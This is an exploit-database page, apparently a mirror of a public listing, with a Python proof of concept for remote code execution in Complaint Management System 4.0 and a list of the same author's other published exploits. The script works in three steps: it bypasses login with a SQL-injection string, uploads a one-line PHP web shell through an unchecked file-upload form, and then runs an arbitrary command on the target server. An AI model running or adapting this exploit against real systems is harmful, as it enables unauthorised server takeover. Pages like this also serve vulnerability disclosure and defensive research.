Search for hundreds of thousands of exploits

"Complaint Management System 4.0 - Remote Code Execution"

Author

Exploit author

"Metin Yunus Kandemir"

Platform

Exploit platform

php

Release date

Exploit published date

2020-01-07

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# Exploit Title: Complaint Management System 4.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.0
# Category: Webapps
# Tested on: Xampp for Windows
# Description:
# There isn't any file extension control at the "Register Complaint" section of user panel.
# An unauthorized user can upload and execute php file.
# Below basic python script will bypass authentication and execute command on target server.

poc.py

#!/usr/bin/python

import requests
import sys
                  

if len(sys.argv) !=3:
	print "[*] Usage: PoC.py rhost/rpath command"
	print "[*] e.g.: PoC.py 127.0.0.1/cms ipconfig"
	exit(0) 

rhost = sys.argv[1]
command = sys.argv[2]

#authentication bypass
url = "http://"+rhost+"/users/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
	
	login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

	
	#check authentication bypass
	check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)
	print ("[*] Status code for login: %s"%check.status_code)
	if check.status_code == 200:
		print ("[+] Authentication bypass was successfull")
	else:
		print ("[-] Authentication bypass was unsuccessful")
		sys.exit()
	
	#upload php file
	ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}
	fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}
	furl = "http://"+rhost+"/users/register-complaint.php"
	fupload = session.post(url=furl, files= ufile, data=fdata)

	#execution
	final=session.get("http://"+rhost+"/users/complaintdocs/command.php?cmd="+command)

	if final.status_code == 200:
		print "[+] Command execution completed successfully.\n"
		print "\tPut on a happy face.\n"
	else:
		print "[-] Command execution was unsuccessful."
		print "\tOne bad day!"
		sys.exit()

	print final.text
Release DateTitleTypePlatformAuthor
2020-07-15"SuperMicro IPMI WebInterface 03.40 - Cross-Site Request Forgery (Add Admin)"webappshardware"Metin Yunus Kandemir"
2020-07-08"SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)"webappshardware"Metin Yunus Kandemir"
2020-04-21"CSZ CMS 1.2.7 - 'title' HTML Injection"webappsphp"Metin Yunus Kandemir"
2020-04-21"CSZ CMS 1.2.7 - Persistent Cross-Site Scripting"webappsphp"Metin Yunus Kandemir"
2020-03-20"Exagate Sysguard 6001 - Cross-Site Request Forgery (Add Admin)"webappsphp"Metin Yunus Kandemir"
2020-01-07"Complaint Management System 4.0 - Remote Code Execution"webappsphp"Metin Yunus Kandemir"
2020-01-03"Online Course Registration 2.0 - Remote Code Execution"webappsphp"Metin Yunus Kandemir"
2020-01-01"Shopping Portal ProVersion 3.0 - Authentication Bypass"webappsphp"Metin Yunus Kandemir"
2020-01-01"Hospital Management System 4.0 - Authentication Bypass"webappsphp"Metin Yunus Kandemir"
2019-12-09"Snipe-IT Open Source Asset Management 4.7.5 - Persistent Cross-Site Scripting"webappsphp"Metin Yunus Kandemir"
2019-09-13"Dolibarr ERP-CRM 10.0.1 - 'User-Agent' Cross-Site Scripting"webappsphp"Metin Yunus Kandemir"
2019-09-09"Dolibarr ERP-CRM 10.0.1 - 'elemid' SQL Injection"webappsphp"Metin Yunus Kandemir"
2019-09-09"Dolibarr ERP-CRM 10.0.1 - SQL Injection"webappsphp"Metin Yunus Kandemir"
2019-08-01"Ultimate Loan Manager 2.0 - Cross-Site Scripting"webappsmultiple"Metin Yunus Kandemir"
2019-07-12"MyT Project Management 1.5.1 - User[username] Persistent Cross-Site Scripting"webappsphp"Metin Yunus Kandemir"
2019-06-24"dotProject 2.1.9 - SQL Injection"webappsphp"Metin Yunus Kandemir"
2019-05-29"Free SMTP Server 2.5 - Denial of Service (PoC)"doswindows"Metin Yunus Kandemir"
2019-04-03"PhreeBooks ERP 5.2.3 - Remote Command Execution"remotepython"Metin Yunus Kandemir"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47884/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.